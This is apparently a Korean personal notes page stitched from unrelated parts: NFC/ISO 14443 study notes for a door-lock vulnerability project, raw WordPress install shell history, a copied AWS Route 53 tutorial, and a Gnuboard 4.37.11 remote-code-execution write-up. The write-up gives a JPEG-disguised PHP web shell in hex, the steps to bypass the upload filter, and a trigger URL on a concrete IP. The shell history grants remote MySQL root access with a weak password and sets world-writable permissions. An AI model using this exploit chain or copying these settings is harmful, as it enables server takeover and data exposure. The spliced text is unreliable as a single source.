없던곳

어셈

assem.pdf

출처: http://baator9.tistory.com/category/Embedded/Network

디지털 도어락 취약점을 분석하는 프로젝트를 진행하면서

NFC 통신에 대해서 공부한 내용을 정리해본다.

꽤 많은 스펙과 정리 문서를 들여다본 끝에 표준에 대한 정리는 거의 끝난 듯 하다.

앞으로는 실제 타겟으로 삼았던 카드와 장비에 대한 분석 진행 상황에 따라 글이 수정될 예정이다.

1. NFC 개념과 표준 및 히스토리

NFC(Near Field Communication) 는 이름 자체로만 본다면 '근접 통신'을 의미한다.

기반이 되는 통신 기술은 RFID (Radio Frequency Identification) 이다.

일반적으로 13.56MHz 를 쓰는 비접촉식 통신 방식이며, 

태그(카드)와 리더기의 통신 또는 기기간의 통신을 포함하고 있다.

ISO 에서 지정한 여러 통신 표준 중에서 RFID 를 기반에 둔 여러 표준들이 존재하며,

그 중 ISO 14443 이 일상에서 쉽게 볼 수 있는 NFC 카드에서 사용하는 표준이다.

2004년에는 ISO 14443 타입 A 와 14443 타입 C 에 추가되지 못했던 Felica 라는 기술을 포함해서

ISO 18092 표준을 제정했는데, 이것이 NFC 라는 기술의 공식적인 첫 표준이다. (NFC IP-1 이라 부른다)

(추가로 기존에 ISO 14443 에는 없던 기기간 통신 기술 내용이 추가되었다)

2005년에는 ISO 14443 타입 B 와 ISO 15693 그리고 ISO 18092(NFC IP-1) 를 포괄하는

ISO 21481 표준을 제정했으며, 이는 NFC IP-2 라고 부른다.

이를 통해 13.56MHz 를 쓰는 비접촉식 통신 기술을 모두 NFC 범주에 포함시키게 되었다.

이를 대략적으로 표현하면 아래와 같다.

[출처 : 금융결제연구소 - '비접촉 통신기술 기반의 모바일 근거리 결제서비스 동향 및 시사점']

(ISO 14443 은 근접형(Proximity) 통신으로 10cm 근방의 범위를 갖고,

 ISO 15693 은 주변형(Vicinity) 통신으로 1m 범위를 갖는다)

이와는 조금 별개로 NFC 포럼1에서도 별도의 표준을 발표하고 있다.

단, NFC 포럼에서 발표하는 표준은 통신 기술에 대한 것이 아니고

NFC 통신의 적용을 위한 장치간의 역할과 기능, 계층을 정리한 것이다.

때문에 NFC 포럼도 ISO 표준을 따르고 있으며, 

실제 산업에 적용하기 위해 좀 더 체계화된 규칙을 제정한 것이다.

(다만 몇몇 명칭에선 ISO 표준과 다른 이름을 쓰고 있다)

그러나 NFC 포럼의 표준은 NFC IP-1 (ISO 18092) 와 ISO 14443 타입 B 에 대해서만 한정하는 것으로 보인다.

2. ISO 표준

NFC 표준의 기초가 된 ISO 14443 에서는 

하드웨어 구성부터 실제 통신 단계를 Part 로 나누고 각각의 표준의 세부내역을 명시했다.

Part 1 은 물리적 특성으로, 카드의 크기나 자기장에 대한 내용을 다룬다.

Part 2 는 무선 주파수 와 신호접속으로, 주파수 범위와 변조(modulation), 부호화(bit coding)를 명시했다.

Part 3 는 초기화 및 충돌방지로, 통신 요청, 충돌 방지 및 카드 선택 등 통신 초기 설정에 대한 내용이다.

Part 4 는 전송 프로토콜로 카드와 리더 사이의 데이터 교환에 대한 사항을 명시했다.

(ISO 에서 명시한 Part 를 아래에 나올 NFC 포럼의 Type 과 헷갈리지 말아야 한다)

이러한 Part 구분과는 별개로 데이터 변조 및 부호화와 충돌방지 구현 방식에 따라 타입을 나누었다.

Type A 와 Type B (이후엔 Type F 도 포함됨) 가 있으며 각자 별개의 프로토콜을 사용한다.

이후에 등장하는 A,B 표현은 모두 이러한 타입 분류를 의미한다.

(NFC IP-1 에는 14443 A 타입만 포함되며, 후에 NFC IP-2 에서야 14443 B 타입이 추가됐다.)

사실 ISO 14443 A 표준은 Mifare 라는 실제 제품의 적용 기술들을 답습했다고 한다.

Mifare 는 NXP 社에서 개발한 것으로, 국제 표준은 아니지만 사실상 표준으로 인정 받아왔다.

때문에 ISO 14443 표준을 제정할 때도 이를 호환할 수 있는 프로토콜을 제정했다고 한다.

(Mifare 제품에 따라 ISO 14443 에서 정의한 Part 를 모두 준수하기도, 일부만 준수하기도 한다)

3. NFC 포럼 표준

앞서 말했듯, NFC 포럼은 NFC 제품을 생산하고 적용하는 회사들의 컨소시엄이므로

NFC 기술의 적용과 사용에 대한 체계적인 협의가 필요했고 이를 표준으로 제정했다.

아래 그림은 NFC 포럼에서 정의한 NFC 통신의 아키텍쳐를 표현한 것이다.

[출처 : nfc-forum.org]

그림과 같이 NFC는 3가지 모드 P2P Mode, R/W Mode, Card Emulation Mode 가 가능하다.

3가지 모드가 상호 배제되는 특성을 가진 것은 아니고, 

역할(카드 또는 리더)을 수행하기 위한 모드에 대한 분류로 볼 수 있다.

P2P 모드는 기기간의 통신을 의미하며, P2P가 지원되는 두 장치가 통신하는 모드이다.

카드 에뮬레이션 모드는 NFC 장비가 설정에 의해 카드 역할을 수행하는 모드를 의미한다. 

(핸드폰에 탑재된 NFC를 교통카드 등으로 쓸 때 이 모드가 사용된다)

R/W 모드는 통상적인 카드 리더기를 의미하며, 카드 에뮬레이션 모드인 장비 또는 NFC 태그(카드)와 통신한다.

좀 더 상세한 내용의 참고 링크를 남겨둔다.

http://nfc-forum.org/our-work/specifications-and-application-documents/specifications/

위의 링크에서 이어지는 'NFC Forum Technical Specifications' 에는

위 그림에서 나타난 각각의 요소들에 해당하는 기술 스펙들을 소개해주고 있다.

그림 가운데 있는 Tag Type 은 NFC 포럼에서 분류한 태그(카드) 플랫폼을 의미하며

Type 1 은 ISO 14443 A 표준을 기반으로 삼으며 Innovation Topaz 제품에서 사용된다.

Type 2 도 ISO 14443 A 표준을 기반으로 삼으며 NXP 의 Mifare 제품에서 사용된다.

Type 3 은 ISO 18092 표준으로 삼는다. (정확히는 Felica 기술인 JIS X 6319-4 를 기반으로 함)

Type 4 은 ISO 14443 A, B 표준을 완전히 만족하며, NXP 의 DESFire, SmartMX-JCOP 제품에서 사용된다.

(앞서도 말했지만 ISO 에서 표준화한 Part 와는 전혀 다르다)

위의 그림과 하단의 표는 비슷한 맥락으로 볼 수 있다.

위 그림에서 아래에 적힌 RF Analog, Digital Protocol, Acitivies 는 

하단 표의 Listen, RF Collision Avoidance (이하 초기 설정) 등과 같은 내용이다.

또한 이는 ISO 14443 의 Part 2 와 3 에 해당한다. 

(Part 2의 변조 기술부터 Part 3의 초기화 및 충돌 방지에 대한 내용)

그림에서 그 위에 위치한 Tag 1-4 Type Operation 은 하단 표의 Device Activation 과 같은 내용이다.

이는 ISO 14443 Part 4 에 해당하는 내용이다.

(Part 4는 카드 선택-Device Acitvation-과 실제 데이터 통신 과정에 대한 내용)

그림 상단에 위치한 NDEF 는 '교환'하는 데이터 타입에 따른 포맷을 의미하고,

그 위의 RTD 는 데이터 '저장' 방식에 대한 포맷을 의미한다.

(text, url 과 같은 데이터 포맷 정의)

아래 표는 NFC SPEC 문서에서 발췌한 테이블로,

왼쪽의 각 Activity 에 해당하는 오른쪽의 표준들이 적용되고 있음을 보여준다.

[ Activity 별 표준 구분 ]

각각의 표준은 같은 열에 있는 다른 표준과 같이 쓰인다.

즉, 초기 설정에서 NFC-B 표준을 사용하는 카드는 

Device Activation 에선 Type 4B 플랫폼을, Data Exchange, Deactivation 에선 ISO-DEP 를 사용한다.

앞서 말했듯, 초기 설정 단계는 ISO 14443 Part 2,3 에 해당하며

데이터 변조 및 리더기에서 카드의 접근을 파악하고 이를 처리하기 위한 프로토콜이다.

Device Activation 은 ISO 14443 Part 4 의 앞 부분이며

앞선 과정에서 리더기가 받은 정보를 토대로 특정 카드를 활성화하고, 

이 카드와 통신할 것임을 알리기 위한 과정이다.

그리고 Data Exchange 와 Device Deactivation 은 실제 데이터 교환과 통신 종료에 대한 프로토콜이다.

Device Activation 과 함께 ISO 14443 Part 4 에 해당하는 내용이다.

4. 종합 및 실전

국내에서 유통되는 NFC 카드들은 많은 수가 NFC-A 표준을 따르며, Mifare Classic 규격을 사용한다고 한다.

Mifare Classic 은 ISO Part 3 까지만 지원하고, 실제 통신은 독자적인 규격을 사용한다.

아래는 각각 NFC-A, NFC-B 타입의 카드를 NFC Tools 라는 앱을 통해 읽은 결과이다.

왼쪽은 NFC-A 타입 카드이며, ISO 14443-3A 타입으로 분류되고 상세한 기술 및 제품 정보가 나온다.

오른쪽은 NFC-B 타입 카드이고, ISO 14443-4 타입에 대한 내용만 나타난다.

여기서 나온 3과 4는 NFC 포럼의 태그 타입이 아닌, 

ISO에서 분류한 Part 를 어디까지 지원하는지에 대한 정보이다.

즉, ISO 14443-3A 는 ISO 14443 의 Part 3 까지 지원하는 A 변조 방식의 카드임을 나타낸다.

(앞서 말했듯 Mifare Classic 은 실제로 이와 같은 특성을 지닌다)

NFC-B 카드에 대한 정보는 많이 읽히지 않았는데, NFC-B 자체가 국내외에서 많이 쓰이지 않는 것으로 보였다.

심지어 표준을 따르는 리더기에서 데이터가 읽히지 않는 현상이 있었지만, 원인은 파악하지 못했다.

또한, NFC-A 타입의 카드들이 4바이트 고정된 UID (위 사진에서 Serial number) 를 쓰는데 반해,

NFC-B 타입 카드는 4바이트 ID 값이 유동적이었다.

wiki 문서를 읽어보니 몇몇 태그의 종류에 따라 random ID 를 지원한다고 한다.

이를 종합해보면, 우리가 타겟으로 삼은 카드는 

ISO 14443 part 4 까지 지원하며 타입에 B 형식 변조를 사용하는 태그로 보인다.

이에 해당하는 제품을 찾아보았는데, NXP 의 SmartMX-JCOP 이라는 태그가 존재한다.

이러한 방식으로 본인이 타겟으로 삼은 카드가 

어느 표준과 규격을 따르고 어느 곳의 제품인지 대략적으로 유추가 가능하다.

(카드 별 사용 표준과 상세 정보가 정리된 링크 : 

 http://open-nfc.org/wp/home/documentation/tags-compatibility/)

다만 위에서 파악한 것은 태그 분류일 뿐, 실제 데이터 교환에 대해선 여전히 해결점을 찾지 못했다.

때문에 타겟 도어락과 카드 사이에서 스니핑 하여 RAW 데이터를 직접 해석하는 방식으로 진행했다.

우선, Listen Activity 에 해당하는 부분으로,

ALLB_REQ and SENSB_REQ (또는 REQB) 라는 이름의 데이터를 리더기가 카드에게 전송한다. 

(각 전송마다 2바이트 CRC가 제일 끝부분에 포함되어 있으며, 이에 대한 내용은 생략한다.)

3바이트 데이터이며, 실제 읽은 데이터의 HEX 값은 [ 05 00 00 71 ff ] 이다.

카드는 이에 대한 응답으로 ATQB 라는 12바이트 데이터를 전송한다.

실제 HEX 값 [ 50 d6 4e 0f 3e 40 00 00 00 00 71 e1 fa ba ]

리더기가 카드의 응답을 토대로 카드를 선택 및 활성화 데이터를 전송한다.

이는 ATTRIB 라고 불리며 9바이트 데이터로 구성된다.

실제 HEX 값 [ 1d 45 6a bb e6 00 08 01 00 d0 dc ]

카드는 이에 대한 응답으로 1바이트 데이터를 전송한다.

실제 HEX 값 [ 40 7C B2 ]

위의 과정을 통해 Listen 과 Activation 이 완료됐으므로

실제 데이터 교환에 대한 프로토콜이 나와야 되나,

스니핑한 데이터가 프로토콜 스펙과 일치하지 않아 분석이 진행되지 않고 있다.

이에 대한 내용은 추후에 진행 상황에 따라 추가하기로 한다.

    1  ls

    2  pwd

    3  sudo apt-get install php5-gd

    4  sudo a2enmod rewrite

    5  sudo apt-get install apache2

    6  sudo apt-get install php5

    7  sudo apt-get install mysql-server

    8  sudo apt-get install php5-mysql

    9  mysql -u root

   10  mysql -u root -P

   11  mysql -uroot -p

   12  sudo vi /etc/apache2/sites-available/default-ssl.conf

   13  sudo vi /etc/apache2/sites-available/000-default.conf 

   14  cd /var/www/

   15  ls

   16  wget http://wordpress.org/latest.tar.gz

   17  ls

   18  sudo wget http://wordpress.org/latest.tar.gz

   19  ls

   20  ls -al

   21  sudo tar -xvzf latest.tar.gz 

   22  ls

   23  cd html/

   24  ls

   25  ifconfig

   26  sudo chown www-data:www-data * -R 

   27  ls

   28  cd ..

   29  sudo chown www-data:www-data * -R

   30  ls

   31  ls -al

   32  sudo usermod -a -G www-data user

   33  ls

   34  ls -al

   35  sudo chmod -R 775 /var/www/

   36  ls

   37  ls -al

   38  sudo /etc/init.d/apache2 restart

   39  ls

   40  cd html/

   41  ls

   42  mv ../wordpress/ .

   43  sudo mv ../wordpress/ .

   44  ls

   45  ls -al

   46  cat index.html 

   47  sudo apt-get install php

   48  sudo apt-get install php7.0-gd

   49  apt-get update

   50  sudo apt-get update

   51  sudo apt-get install php7.0-gd

   52  sudo a2enmod rewrite

   53  service apache2 restart

   54  ls

   55  sudo chmod -R 775 /var/www/

   56  sudo chown -R www-data:$USER

   57  sudo chown -R www-data:$USER .

   58  ls

   59  ls -al

   60  apt-get install php libapache2-mod-php

   61  sudo apt-get install php libapache2-mod-php

   62  sudo apt-get install php-xml

   63  sudo apt-get install php-gd

   64  sudo apt-get install php-mysql

   65  ls

   66  sudo apt-get install  php5-mysqlnd-ms

   67  sudo service apache2 reload

   68  ls

   69  cd wordpress/

   70  ls

   71  cat wp-config-sample.php 

   72  cat wp-config-sample.php  | more

   73  #

   74  ls

   75  cd ..

   76  ls

   77  history > 1.txt

    8  sudo apt-get install apache2

    9  sudo apt-get install php

   10  sudo apt-get install mysql-server

   create database wp;

   11  sudo apt-get install php7.0-mysql 

   12  sudo a2enmod rewrite

   13  sudo /etc/init.d/apache2 restart

   14  service apache2 restart

   15  sudo apt-get install libapache2-mod-php

   16  sudo service apache2 reload

   17  cd /var/www/

   18  ls

   19  cd html/

   20  ls

   21  sudo wget http://wordpress.org/latest.tar.gz

   22  sudo tar -xvzf latest.tar.gz

   23  ls

   24  ls -al

   25  sudo chown -R www-data:$USER *

   26  ls -al

   27  mysql -uroot -p

   28  ls

--------------------------------------------------------------------------------------

    1  sudo apt-get update

    2  sudo apt-get install apache2

    3  sudo apt-get install php

    4  sudo apt-get install mysql-server

    5  mysql -uroot -p

create database aa;

quit  

    6  sudo apt-get install php7.0-mysql 

    7  sudo apt-get install libapache2-mod-php

    8  sudo a2enmod rewrite

    9  cd /var/www/html

   10  sudo wget http://wordpress.org/latest.tar.gz

   11  sudo tar -xvzf latest.tar.gz

   12  sudo vi /etc/apache2/sites-available/000-default.conf

DocumentRoot /var/www/html/wordpress

   13  sudo service apache2 restart

   14  sudo service apache2 reload

   15  sudo chown www-data:$USER /var

   16  sudo chown www-data:$USER /var/www/

   17  sudo chown www-data:$USER /var/www/html/

   18  sudo chown -R www-data:$USER /var/www/html/wordpress/

   19  sudo chmod 777 /var

   20  sudo chmod 777 /var/www/

   21  sudo chmod 777 /var/www/html/

   22  sudo chmod 777 /var/www/html/wordpress/

   23  sudo chmod -R 777 /var/www/html/wordpress/wp-content/

INSERT INTO mysql.user (host, user, authentication_string, ssl_cipher, x509_issuer, x509_subject) VALUES ('%', 'root', password('mysql'), '', '', '');

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';

FLUSH PRIVILEGES;

sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf

bind-address            = 127.0.0.1 을

bind-address            = 0.0.0.0 으로

sudo service mysql restart

sudo ufw allow 3306/tcp

sudo service ufw restart

netstat -ntlp

sudo apt-get install php7.0-zip

sudo apt-get install php-xml

sudo apt-get install php7.0-xml php7.0-xmlrpc

sudo vi /etc/php/7.0/apache2/php.ini 

extension=zip.so

extension=dom.so

upload_max_filesize = 500M

max_execution_time = 180

max_input_vars = 1500

sudo service apache2 restart

http://wingsnote.com/57

지난 회에서는 AWS의 Elastic IP(이하 EIP)를 통해 고정 IP 주소를 획득하는 방법을 알아 보았습니다.

그러나 실제로 숫자로 이루어진 IP 주소로 접속하는 사람은 거의 없을 것입니다.

대부분은 사람이 기억하기 쉽고, 또한 IP 주소가 바뀌더라도 매핑만 바꾸어 주어 접속할 수 있도록 도메인 이름을 사용할 것입니다.

이번 포스팅에서는 EC2 인스턴스에 본인 소유의 도메인을 연결해 봅니다.

미리 여기에 사용할 자신의 도메인은 가지고 있어야 한다는 점을 미리 알려 드립니다.

[8] EC2 인스턴스에 도메인 연결 (Route53)

AWS에서 도메인을 연결하기 위해 사용하는 도메인 설정 서비스는 Route 53 이라고 부릅니다. Route 53은 일반적인 도메인 설정에 더해서 편리한 기능들을 제공합니다.

일반적으로 웹서비스를 받을때 도메인 설정은 무료로 제공되지만, Route 53의 경우는 저렴하지만 유료 서비스라는 점을 기억해야 합니다. (조건에 따라 면제되기도 하는 것 같습니다.)

하지만, 여러가지 이유로 도메인 설정 서비스는 본인 서버를 제공하는 곳의 서비스를 받는게 유리합니다. 더군다나 AWS의 장점중 하나인 로드 밸런싱 서비스를 받기 위해서는 Route 53을 이용할 수 밖에 없는것 같습니다.

그럼 시작해 보겠습니다.

먼저 AWS 관리자 콘솔로 접속합니다.

'Route 53' 을 클릭합니다.

[Create Hosted Zone] 을 클릭합니다.

우측 호스트 존을 생성하는 부분에서 Domain Name에 본인 소유의 도메인(예를들어 example.com과 같은 형태)을 입력하고 [Create]를 클릭합니다.

Route 53이 도메인 이름을 근거로 호스트 존을 생성합니다.

호스트 존을 선택하고, [Go to Record Sets] 을 클릭합니다.

레코드 중에 NS 레코드가 보입니다. Value에 네임서버 리스트가 나와 있습니다. 클릭하면 우측에 Edit Recoed Set 영역에도 Value: 항목에 네임서버 리스트가 나타납니다.

이제 본인의 도메인을 등록한 서비스에 접속하여 네임서버를 위에 나열된 네임서버로 바꾸어 줍니다.

아래는 예를 들어 제가 사용하는 도메인 서비스 업체의 도메인 관리에서 네임서버를 바꾸는 과정을 예시로 보여줍니다. (따라서 본인이 사용하는 도메인 서비스 업체에 따라 다르게 나타납니다. 본인이 도메인 등록한 웹사이트에서 적절히 적용해 봅시다.)

<출처 : http://hosting.kr>

<출처 : http://hosting.kr>

<출처 : http://hosting.kr>

위와 같이 네임서버를 변경하였습니다.

다시 AWS의 Route 53 서비스로 돌아가서 A레코드를 설정하겠습니다.

다시 Route 53 입니다. 해당 호스트 존에서 Recoed를 추가 하겠습니다. [Create Record Set] 버튼을 클릭하고, 오른쪽 Create Record Set 영역을 채웁니다.

• Name : 서브 도메인 네임을 입력합니다. 이번 예제에서는 루트 도메인을 사용하기 위해 비워 두겠습니다. 비우면 example.com 과 같은 형태로 접속하게 됩니다.
• Type : A레코드를 생성하기 위해 'A - IPv5 address' 를 선택합니다.
• Alias : 'No' 를 선택합니다.
• TTL : 도메인 이름 캐싱 시간을 정합니다. 그대로 둡니다.
• Value : 여기에 Elastic IP (고정IP)을 입력합니다.

[Create]를 클릭합니다.

A레코드가 추가 되었습니다. A레코드를 간단히 설명하면 도메인 이름을 IP 주소로 연결해 주는 것이라고 보면 이해가 쉽습니다.

이제 실제 웹브라우저에서 IP주소가 아닌 연결한 도메인 이름으로 접속해 봅니다. (주의 : 위 설정대로라면, 도메인이 example.com 이라면, example.com 으로 입력해야 합니다. www.example.com 과 같이 도메인 이름 앞에 서브도메인 이름을 입력하면, 아직 도메인 설정을 하지 않아서 접속이 되지 않습니다.)

드디어 도메인으로 연결이 되었습니다. 참고로, 도메인 설정(위에서는 A 레코드 설정)한 것이 반영되는데는 시간이 걸립니다. 바로는 적용이 안되기 때문에 바로 접속되지는 않을 겁니다.

제 경우 짧게는 10여분에서 길게는 20분 이상 걸리더군요.

이제는 서브 도메인을 설정해 보겠습니다.

위 예에서는 도메인이 example.com 이라면, example.com으로만 접속이 되고 www가 앞에 붙으면 접속이 되지 않습니다.

이번에는 www를 앞에 붙였을때 접속이 되도록 하겠는데, NGINX를 통해 example.com과는 다른 웹페이지를 보여지도록 해 보겠습니다. (아파치 웹서버의 가상호스트 기능과 같다고 보면 됩니다.)

먼저, Route 53화면에서 계속해서 레코드를 추가해 봅니다.

이번에는 CNAME 레코드를 추가해 보겠습니다. (A레코드를 입력해도 됩니다만 이번에는 CNAME을 사용하는 방법을 살펴봅니다.)

역시 이번에도 [Create Recoed Sets]를 클릭합니다.

• Name : 이번에는 서브도메인명으로 'www'를 입력합니다.
• Type : 'CNAME - Canonical name'을 선택합니다.
• Value : 이번에는 IP가 아니라 A레코드에 사용한 루트 도메인 이름을 입력합니다. (예: example.com)

'/var/www/www' 디렉터리에 index.html 파일을 만듭니다. 내용은 아래와 같이 간단히 입력합니다.

준비 되었으면, 이제 NGINX를 설정합니다.

먼저 만일을 대비해 '/etc/nginx/'디렉터리의 nginx.conf 파일을 원본을 복사하여 사본을 만들어 둡니다.

아파치 웹서버와 비슷한 방식으로 관리하기 위해 '/etc/nginx/' 하위 디렉터리로 'sites-enabled'디렉터리와 'sites-available' 디렉터리를 만듭니다.

이제 'nginx.conf' 파일을 열어 아래의 내용을 http 블럭 맨 아래 추가합니다.

이렇게 하면 조금 전에 만든 'sites-enabled' 디렉터리의 모든 .conf 파일들을 NGINX가 시작될 때 읽어들여 설정에 반영하게 됩니다.

이제 조금 전에 만든 'sites-available' 디렉터리에 'www' 서브 도메인을 연결할 서버 설정 파일을 만듭니다.

여기서는 example.conf 라는 파일로 만들었다고 가정합니다.

새로 만든 'example.conf' 파일을 'sites-enabled' 디렉터리에 심볼릭 링크를 만들어줍니다.

이제 위 화면과 같이 NGINX의 설정을 재로딩 합니다.

이제 서브도메인을 포함한 도메인으로 웹브라우저로 접속해 봅니다.

예를 들어 'example.com'이 도메인이면, 주소창에 'www.example.com' 을 입력합니다.

새로 분기한 '/var/www/www/index.html' 파일이 잘 나오는걸 확인할 수 있습니다.

이번 포스팅은 여기까지 입니다.

다음 포스팅에서는 많이들 사용하는 node.js 앞에 NGINX가 프록시 역할을 하도록 설정해 보도록 하겠습니다.

출처: http://wingsnote.com/57 [날개의 노트 (Wing's Note)]

취약한 버전: 그누보드 4.37.11

해당 되는 파일: gnuboard4/cheditor5/imageUpload/upload.php

사용한 기술: 전역 변수 Overwrite, 웹쉘 업로드, 파일 삭제 취약점, 몇가지 Trick

종류: 원격 코드 실행

난이도: 중

파일 경로 : /gnuboard4/gnuboard4/cheditor5/imageUpload/upload.php

(1) common.php 의 @extract($_POST); 때문에 공격자는 자유롭게 $_FILES, $_SERVER 등의 글로벌 변수를 POST 요청을 통해 오버라이트 할 수 있습니다.
이미지의 크기가 지정되지 않았을 경우 파일을 삭제하는 루틴을 이용해서 업로드 디렉터리의 php 실행을 제한하는 분산 설정 파일을 삭제합니다. prefix 가 붙지만, PHP 일부 버전에서 상대 경로가 최적화 되는 트릭으로 이를 우회할 수 있었습니다.
send("_FILES[file][name]=bsaf/../../../foo.txt")

(2) magic_quotes_gpc 지정자는 임시파일 내용으로 포함된 쿼트에 대해 영향을 미치지 않기 때문에 "" 을 자유롭게 사용할 수 있습니다.
또한 getimagesize 변수는 단순히 이미지 파일의 특정 헤더값을 기반으로 크기를 판단하기 때문에 정상적인 이미지 형식이 아니더라도 통과가 가능합니다.

한편, 웹쉘 업로드시 코드 if (!preg_match("/.(gif|jpe?g|png)$/i", $savefile)) 에서 조건문은
gif, jpeg, png 등으로 끝나는 코드 만을 제한 합니다.
하지만 apache 웹서버는 도중에 php 가 들어가고 jpeg,png 처럼 알려진 확장자가 아닌 파일을 php 로 인식합니다.
test.php.fakepng 과 같은 파일은 php 로 파싱되어 우회가 가능합니다.

두가지 사실을 이용해서 해당 파일에 아래의 덤프를 내용으로 가지는 파일을 업로드 합니다.

웹쉘
[Hex]
FF D8 FF E0 00 10 4A 46 49 46 00 01 00 00 00 00 00 00 00 00 FF C0 00 41 3C 3F 70 68 70 20 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 2F 2F 65 22 2C 24 5F 47 45 54 5B 66 6F 6F 5D 2C 22 22 29 3B 3F 3E

[Dump]
yØya..JFIF..........yA.A<?php preg_replace("//e",$_GET[foo],"");?>

(3) 과정 (1) 에 의해 업로드 디렉토리에 대한 접근 제한은 해제 되었습니다. 

IE 는 파일의 내용이 이미지의 헤더로 시작할 경우 무조건 이미지로 판단을 하기 때문에 크롬 등에서http://222.106.225.108/gnuboard4/gnuboard4/data/cheditor4/1406/test.php.fakepng?foo=phpinfo()
와 같이 파일이 업로드 된 경로에 접근할 경우 원격 코드를 실행할 수 있습니다.